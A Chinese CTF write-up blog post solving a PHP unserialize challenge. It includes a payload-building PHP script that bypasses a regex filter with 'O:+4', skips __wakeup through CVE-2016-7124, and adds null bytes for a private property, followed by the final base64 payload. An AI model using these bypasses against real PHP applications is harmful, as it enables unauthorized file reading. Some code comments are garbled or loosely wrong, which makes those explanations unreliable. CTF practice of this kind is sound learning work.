攻防世界Web_php_unserialize

最近开始刷攻防世界的web题目,遇到一个比较有意思的题目。ctf小白大家勿喷

访问题目链接

是一段php代码

 

对代码进行初步审计   发现unserialize函数  可以确定是一个php反序列化的利用

由于刚开始学习php的反序列化  对php不是特别熟悉所以对代码进行逐行解析

<?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { //get方法传参
    $var = base64_decode($_GET['var']);  //对获取到的参数var的值进行base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) {  //正则表达式过滤  \d匹配任意的数字  /i表示匹配时不区分大小写 /[oc]匹配oc字符
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

理一下构造pop链的思路

从参数传入的地方入手

  1. 进行了一个base64的解码   在传入参数的时候先对参数的值进行base64加密进行第一步的绕过。
  2. 进行了一个正则表达式的判断  匹配到任意长度的数字  或者oc字符都会被过滤  直接结束进程。
  3. 当正则的过滤被绕过之后   对传入的参数var的值进行反序列化处理  

注意:此时__wakeup()函数会被自动调用  当其被调用时输出的文件就会被强制更改成  index.php  所以这里需要对这个函数进行绕过。

当对象销毁时也就是结束运行时   destruct函数会被调用输出文件当中的内容

第一次构造的pop链

 

?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a= new Demo('fl4g.php');//实例化对象   __construct函数将会被自动调用  fl4g.php 将会被赋值给$file变量
$c=serialize($a);   //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c);  //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c);   //利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行
echo $c ;
$j=(base64_encode($c));  //对其进行base64编码
echo $j;
?>

得到的payload

 但是通过get方法将payload提交给var变量并不能得到flag

后续百度了一下这里也有个坑:

对于private变量 进行序列化时会在类名和字段名上添加保护

前后均有空格

因此对于private属性在类名和字段名前均需要添加\0

当使用浏览器提交时需要在类名和字段名前添加%00   

对pop链进行修改

完整的pop链

 

<?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a= new Demo('fl4g.php');//实例化对象   __construct函数将会被自动调用  fl4g.php 将会被赋值给$file变量
$c=serialize($a);   //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c);  //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c);   //利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行
$c=str_replace(' ','%00',$c);   //序列化私有类时  类名和字段名前会有空格  使用url传参时需要将空格替换成%00
echo $c;
$j=(base64_encode($c));  //对其进行base64编码
echo $j;
?>

得到payload

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

使用get方法提交参数

得到flag 

 

  • 9
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值